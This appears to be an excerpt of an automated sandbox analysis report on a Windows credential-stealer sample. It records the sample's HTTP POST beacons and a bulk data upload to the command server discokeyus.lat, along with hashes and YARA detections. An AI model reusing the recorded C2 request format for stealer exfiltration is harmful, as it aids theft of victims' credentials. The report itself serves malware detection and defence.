2024-12-20 15:20:19 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZC6IHNSFS66ZI03W User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1242 Host: discokeyus.lat
2024-12-20 15:20:19 UTC	1242	OUT	Data Raw: 2d 2d 5a 43 36 49 48 4e 53 46 53 36 36 5a 49 30 33 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 35 39 41 38 39 33 34 36 38 39 37 45 34 41 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 5a 43 36 49 48 4e 53 46 53 36 36 5a 49 30 33 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 5a 43 36 49 48 4e 53 46 53 36 36 5a 49 30 33 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --ZC6IHNSFS66ZI03WContent-Disposition: form-data; name="hwid"CE59A89346897E4AAC8923850305D13E--ZC6IHNSFS66ZI03WContent-Disposition: form-data; name="pid"1--ZC6IHNSFS66ZI03WContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-12-20 15:20:20 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:20:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=20h9vr9fd2tv9jeqgpkonh9i6m; expires=Tue, 15 Apr 2025 09:06:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sH4bKKGU42n7%2FerER6TV72YLo62Vq6IuilFp0A49UHQBnIZhogna%2FWqPz56HFe7qMLgXzu%2BQGreLPr8DpMqXuOSX4orxoGuwK9BowQZJQkaj7ig4pet8loXme%2Fg8ulgEyw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f509da3bb458c33-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2249&min_rtt=2100&rtt_var=894&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2832&recv_bytes=2155&delivery_rate=1390476&cwnd=245&unsent_bytes=0&cid=b6a9f3702342d6fb&ts=1075&x=0"
2024-12-20 15:20:20 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 15:20:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.11	49715	104.21.21.99	443	7456	C:\Users\user\Desktop\f48jWpQ2F8.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:20:22 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4TK4SW5U6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 552258 Host: discokeyus.lat
2024-12-20 15:20:22 UTC	15331	OUT	Data Raw: 2d 2d 34 54 4b 34 53 57 35 55 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 35 39 41 38 39 33 34 36 38 39 37 45 34 41 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 34 54 4b 34 53 57 35 55 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 34 54 4b 34 53 57 35 55 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 34 54 4b 34 53 57 35 55 36 0d 0a 43 6f 6e 74 65 6e Data Ascii: --4TK4SW5U6Content-Disposition: form-data; name="hwid"CE59A89346897E4AAC8923850305D13E--4TK4SW5U6Content-Disposition: form-data; name="pid"1--4TK4SW5U6Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--4TK4SW5U6Conten
2024-12-20 15:20:22 UTC	15331	OUT	Data Raw: 23 09 df 7a 6c 41 41 2a 99 1b a7 d3 a9 a2 29 69 33 21 e7 1c aa 7f 65 27 c3 1b 0e e9 bb 5c 70 e7 42 07 6b 78 92 5e dd a8 d4 36 6d 4f 76 b7 d4 43 0a 2e 05 77 b8 79 d2 25 db fb cc 40 8c 71 0e 36 31 c2 41 7b cf a3 26 d9 b0 bd 49 9b ee 0f 72 45 22 29 d2 a7 c6 39 37 ac f6 a0 cf d9 67 26 01 7e 19 14 1f ad f0 ab cc 98 f6 15 40 f1 02 7e d8 26 5e 35 ba 37 17 10 6d 57 07 e9 8c 06 c7 58 a4 75 55 0d a2 69 e7 51 6c 0e 79 5a e6 5a 65 d0 fc 25 66 cb 7a c6 3c 18 5f e9 24 c9 3a c1 f3 7d af 02 ac 5f d9 4f 3e 18 da d8 ca 03 bf d7 fb bd e3 83 c6 4f 02 6a 33 6d fc 20 04 2b 8c ca 8f 28 92 0b 5d 46 ed 0d fa 7d b8 9b 6e 48 bf 4d 2a 2c e7 05 51 6f 5f 3d 3c f4 77 e5 f5 b3 1f ce 3a 0e 9d 2e 37 5d db 08 6e ed 3b 64 e7 e7 57 30 27 fc ea e5 b5 cd 67 ba bc fb c0 89 c8 37 6e 95 58 38 e7 Data Ascii: #zlAA)i3!e'\pBkx^6mOvC.wy%@q61A{&IrE")97g&~@~&^57mWXuUiQlyZZe%fz<_$:}_O>Oj3m +(]F}nHM,Qo_=<w:.7]n;dW0'g7nX8
2024-12-20 15:20:22 UTC	15331	OUT	Data Raw: 84 f0 b9 a5 d6 6f e9 f5 93 5d 98 b7 aa 52 2f cd c3 f0 41 ed 6f a9 06 ac e6 f7 13 89 e5 63 1e d3 d3 71 75 da df 64 dc e4 80 bc 73 34 44 90 38 88 a7 9a 07 13 e5 64 a4 a3 13 7f bd b6 38 2e 19 a3 e3 da a5 8b 0b 30 95 c3 06 b0 0b 0f 77 75 b0 4c f4 c5 be dc a4 13 38 6f 1e b6 99 e6 7a 56 86 24 4b 9c 6c e2 f1 38 4e 9e 35 99 be 25 1e f9 26 09 b5 67 1b 6f ef 26 12 24 50 3c fb 71 fa 77 34 96 f6 54 c9 3d e3 ce 6c b9 11 fe 76 7f e1 a4 44 3f e7 f7 23 79 93 2e 63 b6 f4 d6 e9 d5 ec b0 83 d8 9b 21 fc 7d d4 66 dd 47 8d 71 70 e0 9e 5f d2 6f a7 c2 38 d1 b3 0c 44 6d ba 04 dc cd d5 65 51 9f 94 a9 54 ed f0 2d 47 f5 e1 b6 c6 87 23 bf c6 6e f1 65 8a 17 c9 65 33 65 bf b3 b3 f9 1e 08 3e d9 0e 65 e6 0a 30 26 36 e7 ea bf be de d5 6e 35 c0 7b 6b ff 12 37 6c ed a4 dd 29 83 38 17 c5 16 Data Ascii: o]R/Aocquds4D8d8.0wuL8ozV$Kl8N5%&go&$P<qw4T=lvD?#y.c!}fGqp_o8DmeQT-G#nee3e>e0&6n5{k7l)8
2024-12-20 15:20:22 UTC	15331	OUT	Data Raw: 46 9e a2 f1 29 71 5b 6f 49 22 54 94 8a 7c ff 12 fc 25 51 27 5a 1f 74 5b 90 25 78 17 9a a8 7a fd aa 5a 72 e5 65 f0 32 d0 f0 87 3a 8c dd f2 04 04 29 0d ad d6 43 32 b3 c5 60 b9 70 e3 b3 4f 8b a7 c0 16 2a ff 84 63 40 77 eb 7e b2 2f 1c ec 5c da ba 77 9c 53 b1 2f 4d 59 bc f6 c9 b2 ec 2a e7 fd 66 f9 f1 7d 95 56 be 10 0a b5 54 81 0f fb 92 2c 47 fb 72 34 8e f5 44 a4 e8 79 65 6e 60 9b cd 46 5f 33 5b ce f6 15 e6 4f e0 9f d0 5e 4e b3 ef 9f 6f b9 f3 3b 0b 6d 62 e2 d0 bc 39 27 ca 4a 3b 2c e2 c9 72 4d 67 8f 70 c5 d9 60 2b f3 14 31 5e 68 70 eb dc f6 13 00 6d 6b 41 98 33 ee fd 8e 9e 52 d7 ce 6d ca f8 6d b7 4f 6b 51 92 ff d1 10 00 fc 20 b1 da f8 73 f1 1a 58 50 ac 50 4e ef 15 8b f2 9f 39 97 e9 9e 71 92 fc 5c 02 e4 38 6c 7a 71 81 06 d2 0e d8 f9 7f f7 4f 7e e2 da b9 0a d8 4d Data Ascii: F)q[oI"T\|%Q'Zt[%xzZre2:)C2`pOc@w~/\wS/MYf}VT,Gr4Dyen`F_3[O^No;mb9'J;,rMgp`+1^hpmkA3RmmOkQ sXPPN9q\8lzqO~M
2024-12-20 15:20:22 UTC	15331	OUT	Data Raw: e5 8b 01 56 90 1c 20 d5 16 89 b3 ac f5 3d 26 c2 e5 be 9a b5 89 f7 05 76 f6 3f fa 11 9c 83 e4 8b 65 e8 b7 80 ea 35 e7 8c 24 b0 a2 68 b5 5b e7 81 45 3e 7e e7 60 ba b5 3b 48 93 95 71 df e8 be ed 5c 82 f1 6f 35 33 fb 24 4b 7a 1a c0 51 5a f8 f9 90 2a c6 73 b3 4e 5e 02 b3 a7 5d 81 38 fa 18 45 e9 8b 71 17 e0 12 4b f7 0d 38 e8 bb ea f8 fa a6 7e a3 39 e8 32 f2 f5 fc 01 d2 6e b4 e5 29 48 fd f1 ae b8 e4 06 c3 ff 99 28 83 5a 91 05 81 ea d0 57 ef 4a 1f 52 fb 7e 6a 4e 70 1f 31 5a 57 e8 2b 44 e8 7d 57 8d 48 0b 45 0f a3 aa f1 01 ab 70 ed 76 66 46 6f 16 96 14 bf fa 66 b9 b5 3e 8c 6b 2d 67 24 71 1a 43 2f 13 8b 13 42 2f 69 5b 96 35 9b 52 28 95 93 ba d7 fd 6c 18 14 8a 29 6c 8c 44 35 64 82 67 f3 ae 6b fe c8 57 f5 59 33 75 2f 49 47 f8 ad 96 fe 11 66 9f cc 28 af 7b f7 29 3b 2f Data Ascii: V =&v?e5$h[E>~`;Hq\o53$KzQZ*sN^]8EqK8~92n)H(ZWJR~jNp1ZW+D}WHEpvfFof>k-g$qC/B/i[5R(l)lD5dgkWY3u/IGf({);/
2024-12-20 15:20:22 UTC	15331	OUT	Data Raw: 42 6c e4 cd b1 3f 75 8a fb f8 bc ce a1 fd 88 33 2a dc 09 67 58 60 c9 77 02 84 10 77 5f 61 36 c7 41 c5 91 19 3f 11 70 f0 84 f0 4b 73 2f d0 26 05 0a 50 f1 9e 00 76 b0 d3 c5 42 1f 50 20 f1 be ac a1 36 c8 27 04 3a eb 43 eb 34 b8 c3 17 62 b8 f2 f5 03 86 22 0b 66 ca 85 c3 a7 be 25 66 5d 4d 80 cf f1 bb 85 62 6f 4c 6e 2c 39 f2 a0 bb f2 2f 46 0a ea 43 d7 9e 4f af b4 e9 31 67 e0 d7 9b 13 b0 72 36 cf 73 1a e0 67 14 62 95 c6 f4 d6 7c d4 18 25 32 c5 85 3a 57 58 d1 22 73 7a 2b af 28 ed 35 3c 8f 5c 82 17 61 e3 f7 3e b0 2a 55 b7 34 48 80 9e 5f 03 b9 a9 1c 7e d8 7a 8c 56 e6 2f c4 e9 23 20 5e c7 dc 67 7d b9 a5 54 5a 03 c0 45 02 78 8a 53 5a 0a e4 bd 7c 2f 8d 4b 3f 23 f8 63 08 c7 88 44 79 38 0f 35 21 06 9a 0f ec b4 c1 2a c3 44 35 ba f3 c8 be aa e6 16 dd b9 08 25 9f f4 5a d6 Data Ascii: Bl?u3gX`ww_a6A?pKs/&PvBP 6':C4b"f%f]MboLn,9/FCO1gr6sgb\|%2:WX"sz+(5<\a>U4H_~zV/# ^g}TZExSZ\|/K?#cDy85!*D5%Z
2024-12-20 15:20:22 UTC	15331	OUT	Data Raw: 60 8b bd 14 a9 35 ca fd 31 27 94 2c ac 55 fa e0 61 76 dc 61 d1 5c 91 63 a6 38 56 0a 6e 7a 86 24 cf 3b f7 4f 92 9f 78 57 34 4c 8a b2 f7 e4 2b 2a 6d d3 e8 bc a0 f5 f7 4f fd eb 7b 52 48 fd 5b be 59 3d a9 55 12 3a 93 91 93 90 84 07 7f 4d 7c 25 b6 83 a7 12 e0 e2 6a 62 08 ee cd 1e 94 36 a9 8d 38 fa d6 5c 4b e1 eb 55 37 bf 95 df fa 63 ec 92 1e 4b d6 24 be ec 3a a9 60 51 b6 c4 c3 4f a6 42 8c 82 d3 26 15 0e 2b 79 f8 86 97 e4 f4 e5 2d e8 48 09 6c af 6a fa 71 48 8d 21 b7 f1 63 7e 27 0e 45 fc d7 b9 27 4b fa 5e de 39 c5 8a 9f 95 2f 27 2c bd d6 c4 38 62 0a 53 fc af a6 d6 75 d7 2d 84 73 81 93 e1 b5 07 df 7a 22 9d 76 1e 0c 06 77 1e 15 01 dc e5 0c db 1d bc e1 02 8d d8 fa a0 ce 2c ed 15 c1 f1 a1 ca 80 9e 3b 33 3f 4b 3f 40 8c 00 37 de eb a7 97 86 3f 95 e4 47 d0 26 1a 1d fe Data Ascii: `51',Uava\c8Vnz$;OxW4L+*mO{RH[Y=U:M\|%jb68\KU7cK$:`QOB&+y-HljqH!c~'E'K^9/',8bSu-sz"vw,;3?K?@7?G&
2024-12-20 15:20:22 UTC	15331	OUT	Data Raw: 28 3b 2a 50 10 e3 b3 e9 78 5a 4f f3 86 1c 7c 5b b0 f0 56 f2 0c 73 6c 3e 7c 1b 11 68 42 8c 31 79 f7 67 c2 8d 87 a8 92 30 1e 51 2a 03 47 5e a0 30 e7 81 34 99 ea cd db b3 38 24 cf 04 18 48 f2 cb 9c 6b 0c e5 ec 3e 9a f7 e2 fe e5 af 61 04 7d 2e e0 d5 27 54 69 43 66 bd 92 29 7d e1 32 dd 36 da 04 6b 85 b0 cb b2 2f ff 69 25 c2 09 44 6b 41 63 f2 e7 20 b7 d9 aa 43 79 4a 22 9f 58 63 a7 20 31 14 b8 db 52 c1 53 e5 66 c9 69 96 ad 5c fd 17 17 b9 4a 97 c4 f7 f8 d3 9e cb dc b8 36 54 7d 2f fd c5 ba 25 82 aa 6a e4 b9 59 80 43 0e 33 fe b5 50 1e d0 ea 93 ef c9 2a 56 fb e0 78 fc 84 91 ee 02 c1 e6 36 a6 c4 0b 5c 92 36 93 a2 c2 a1 7c ec fd 3d 27 b2 1d 7f b8 9b 7c c2 75 bb a6 d2 31 d1 65 db 0f e4 b5 39 c4 f1 be bf 8d da d7 0f 0f e1 fa 13 01 c2 93 82 1a 2c c2 de a3 ad 5d f9 f8 76 Data Ascii: (;PxZO\|[Vsl>\|hB1yg0QG^048$Hk>a}.'TiCf)}26k/i%DkAc CyJ"Xc 1RSfi\J6T}/%jYC3P*Vx6\6\|='\|u1e9,]v
2024-12-20 15:20:22 UTC	15331	OUT	Data Raw: 61 d9 5f e1 db 68 42 8f 6e 1c 8e e2 f0 8e 3c 27 d9 06 8e b6 c4 1c 72 a2 d4 a8 08 2e f9 17 80 c4 40 ef b5 36 d3 a3 52 4e 34 de 6a b0 45 e4 74 1e a5 62 e3 a3 e1 61 57 c1 12 34 2c ae 10 9a a2 d6 18 bd bf 9f 3e 98 8a 5f c2 83 f1 29 e7 75 0d d3 8c 8a 4d 6f 3a f4 fb 9b 98 8c 8b 27 de 15 53 ab 27 3d f3 e5 03 4e 8a 4c 26 3b 39 ec 16 dd f4 4c cb 48 d5 48 46 3f 88 88 d6 cb c0 79 a6 8a 98 f8 40 97 b3 33 50 e6 f6 1f 6c 06 d6 77 9b 56 1e 02 1d b3 04 c0 ea 4b 39 d6 ed fa d9 af 42 1e 9e 96 0f f9 bf 50 02 f9 e2 05 01 df ef 41 68 f8 18 6d 4e 2d d8 b8 0c 9c b8 5d 57 7e df 89 80 15 c5 29 5e da 38 0b e0 88 50 1a 5f fc fb 78 4a 6b 1d 42 23 4e 1e d9 de f2 d8 2e b2 25 f8 96 d9 a8 b8 4d c5 b2 2a 77 5f b3 89 e8 28 e6 ff 4b bf be fc e8 22 00 44 e0 2a fc 0f 9d e3 93 c3 43 2f 24 6a Data Ascii: a_hBn<'r.@6RN4jEtbaW4,>_)uMo:'S'=NL&;9LHHF?y@3PlwVK9BPAhmN-]W~)^8P_xJkB#N.%Mw_(K"DC/$j
2024-12-20 15:20:22 UTC	15331	OUT	Data Raw: aa f5 65 fe 28 76 39 63 ed 2f a9 e3 b7 80 c0 3b 0c 71 04 a4 cf 8c 3e 0e 7f c8 af 7e 4f 53 fa bf c3 9a 3a b4 2f fb f6 ef b2 6f 12 96 b7 1b 17 d0 2d fb fd 83 28 c1 a7 f9 79 d6 c6 a0 65 d2 9e 80 66 0c 2f 1d 21 a0 5b f6 fe 67 08 78 13 1f 74 23 fe 28 41 7d 73 b7 98 0e a5 80 76 60 27 b9 ea c6 98 d7 f5 25 7b d4 f7 71 ce fa 0b cb de 5b 15 10 b5 c8 5c b4 d1 1b cd 7c 27 c9 7a 77 36 f1 df b0 da 77 cf 60 c4 49 0f cb dd 41 23 ee f4 9d 0b ff c5 6f 3c 84 d2 8f 8e 6c 5e a8 a7 9f 3a 6c eb 8a ba 0c 92 bd 56 c7 bd 9e b4 b7 54 d7 1d d5 34 25 39 04 f9 10 58 c7 dd 48 da ea 94 20 f3 87 66 77 91 ef 48 4e f3 f7 e3 47 f1 01 ff 5a 87 9d c0 16 66 cc 7b 89 6e bb e3 83 3a 20 9b a7 99 28 10 e8 52 9f be 95 5b dc 2b 70 ed e6 9e c0 91 e5 b6 f4 d3 d3 90 9c 6d ad 61 a6 f9 0b aa a6 d4 f6 cf Data Ascii: e(v9c/;q>~OS:/o-(yef/![gxt#(A}sv`'%{q[\\|'zw6w`IA#o<l^:lVT4%9XH fwHNGZf{n: (R[+pma
2024-12-20 15:20:26 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:20:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2dvq0941n899vk1qfdnobslnuh; expires=Tue, 15 Apr 2025 09:07:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xM7cB1P8NpdmUNAv%2B%2BoqqEBN6g4364AesW6Ye0R%2FsFfjzKfirfclbf2OnZHZUhNsrPUrkvLlpEjobFbp6ctzOnKRJpjVHbyAnktkQQTgg9RgEHePDaLal2oLFbVGqd0Jcw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f509db68ba6426b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1669&min_rtt=1665&rtt_var=633&sent=196&recv=576&lost=0&retrans=0&sent_bytes=2832&recv_bytes=554750&delivery_rate=1716637&cwnd=232&unsent_bytes=0&cid=f1b3e094c7cd2578&ts=4086&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.11	49716	104.21.21.99	443	7456	C:\Users\user\Desktop\f48jWpQ2F8.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:20:28 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: discokeyus.lat
2024-12-20 15:20:28 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 43 45 35 39 41 38 39 33 34 36 38 39 37 45 34 41 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=CE59A89346897E4AAC8923850305D13E
2024-12-20 15:20:28 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:20:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oegkfir4189ia5kfrgsd98368q; expires=Tue, 15 Apr 2025 09:07:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QtLFr8cEW9YTh45wgi%2BQwPXkP7WB%2FyX0idbFSODGcCUGfveucYIEE0LAsA1PAWFZ7UdEzM%2FA93sBz14XiIlSj7Wk605jyq8Uo1V4P%2FEZ0GvjBURkhEpWL9bem9947dsfSw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f509dd95e56422f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1596&min_rtt=1589&rtt_var=611&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=986&delivery_rate=1768625&cwnd=137&unsent_bytes=0&cid=e0fbb6ccba1e1d5e&ts=820&x=0"
2024-12-20 15:20:28 UTC	130	IN	Data Raw: 37 63 0d 0a 72 41 4a 76 46 56 52 52 38 45 6c 2b 4d 4a 36 41 58 6e 63 55 39 6d 66 70 54 49 33 31 75 38 57 68 36 6f 4d 30 44 4f 69 30 67 38 62 33 65 55 31 67 64 6d 76 53 49 51 70 45 37 72 6f 43 57 45 6a 5a 56 74 46 35 6f 38 65 4b 38 49 2f 62 73 67 63 69 32 59 4c 66 36 63 4e 6b 43 55 6c 37 4e 5a 55 76 55 46 58 6d 35 58 78 62 4e 70 41 54 79 33 61 39 32 5a 6d 67 67 39 43 79 53 56 45 3d 0d 0a Data Ascii: 7crAJvFVRR8El+MJ6AXncU9mfpTI31u8Wh6oM0DOi0g8b3eU1gdmvSIQpE7roCWEjZVtF5o8eK8I/bsgci2YLf6cNkCUl7NZUvUFXm5XxbNpATy3a92Zmgg9CySVE=
2024-12-20 15:20:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.11	49739	13.107.246.63	443	3656	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:20:51 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Target ID:	0
Start time:	10:19:54
Start date:	20/12/2024
Path:	C:\Users\user\Desktop\f48jWpQ2F8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\f48jWpQ2F8.exe"
Imagebase:	0xde0000
File size:	2'981'376 bytes
MD5 hash:	5A3FF46ADE4FA0D7F8F8F1C1C4CAA164
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1653142478.000000000132F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1651190408.0000000001373000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1612424762.0000000001370000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1612765503.0000000001373000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1653049966.0000000001327000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1652849281.0000000001373000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1652937523.0000000001327000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1615463849.0000000001373000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:20:38
Start date:	20/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f48jWpQ2F8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6a3150000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	10:20:39
Start date:	20/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1896,i,13068996111565046042,17270305819011272188,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6a3150000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	10:20:43
Start date:	20/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f48jWpQ2F8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6a3150000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:20:44
Start date:	20/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
